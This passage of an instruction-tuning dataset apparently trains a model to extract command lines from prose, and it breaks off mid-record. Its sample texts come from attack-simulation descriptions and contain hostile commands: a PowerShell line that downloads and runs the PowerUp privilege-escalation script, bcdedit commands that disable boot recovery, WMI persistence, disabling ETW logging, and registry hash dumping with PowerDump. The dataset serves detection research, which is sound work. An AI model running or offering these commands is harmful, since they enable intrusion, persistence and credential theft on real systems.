[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique, favored by ransomware and APT groups, disables Windows Recovery Console repairs on boot using the following commands: bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures\nbcdedit.exe /set {default} recoveryenabled no\n. Upon success, the PowerShell session will confirm with \"The operation completed successfully.\"",
    "output": "{\"command_list\": [\"bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures\\nbcdedit.exe /set {default} recoveryenabled no\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To compress files using GZip from Python, run the following command:\nwhich_python=`which python || which python3`\n$which_python -c \"import gzip;input_file=open('#{path_to_input_file}', 'rb');content=input_file.read();input_file.close();output_file=gzip.GzipFile('#{path_to_output_file}','wb',compresslevel=6);output_file.write(content);output_file.close();\"",
    "output": "{\"command_list\": [\"which_python=`which python || which python3`\\n$which_python -c \\\"import gzip;input_file=open('#{path_to_input_file}', 'rb');content=input_file.read();input_file.close();output_file=gzip.GzipFile('#{path_to_output_file}','wb',compresslevel=6);output_file.write(content);output_file.close();\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute this persistence technique, run the following command from an administrator PowerShell window and then reboot the victim machine. After 4 minutes of uptime, notepad.exe should be running as SYSTEM: $FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';\n                EventNameSpace='root\\CimV2';\n                QueryLanguage=\"WQL\";\n                Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};\n$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs\n\n$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';\n                CommandLineTemplate=\"$($Env:SystemRoot)\\System32\\notepad.exe\";}\n$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs\n\n$FilterToConsumerArgs = @{\nFilter = [Ref] $Filter;\nConsumer = [Ref] $Consumer;\n}\n$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs",
    "output": "{\"command_list\": [\"$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';\\n                EventNameSpace='root\\\\CimV2';\\n                QueryLanguage=\\\"WQL\\\";\\n                Query=\\\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\\\"};\\n$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs\\n\\n$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';\\n                CommandLineTemplate=\\\"$($Env:SystemRoot)\\\\System32\\\\notepad.exe\\\";}\\n$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs\\n\\n$FilterToConsumerArgs = @{\\nFilter = [Ref] $Filter;\\nConsumer = [Ref] $Consumer;\\n}\\n$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To select desired ports for packet capture, use the following command: pktmon.exe filter add -p 445",
    "output": "{\"command_list\": [\"pktmon.exe filter add -p 445\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To pull a file from a remote host using SCP, run the following command: scp #{username}@#{remote_host}:#{remote_file} #{local_path}",
    "output": "{\"command_list\": [\"scp #{username}@#{remote_host}:#{remote_file} #{local_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This atomic demonstrates how to disable an ETW provider in the EventLog-Application session via the following registry update command: New-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application\\#{ETWProviderGUID}\" -Name Enabled -Value 0 -PropertyType \"DWord\" -Force. The provider will stop logging, but a reboot is necessary for the changes to become active.",
    "output": "{\"command_list\": [\"New-ItemProperty -Path \\\"HKLM:\\\\System\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\EventLog-Application\\\\#{ETWProviderGUID}\\\" -Name Enabled -Value 0 -PropertyType \\\"DWord\\\" -Force\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To perform Active Directory reconnaissance similar to ransomware actors, execute AdFind via this command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -f (objectcategory=organizationalUnit) #{optional_args}",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AdFind.exe\\\" -f (objectcategory=organizationalUnit) #{optional_args}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The registry hashes can be dumped by executing this command:\nWrite-Host \"STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON\" -fore green\nImport-Module \"PathToAtomicsFolder\\..\\ExternalPayloads\\PowerDump.ps1\"\nInvoke-PowerDump\"",
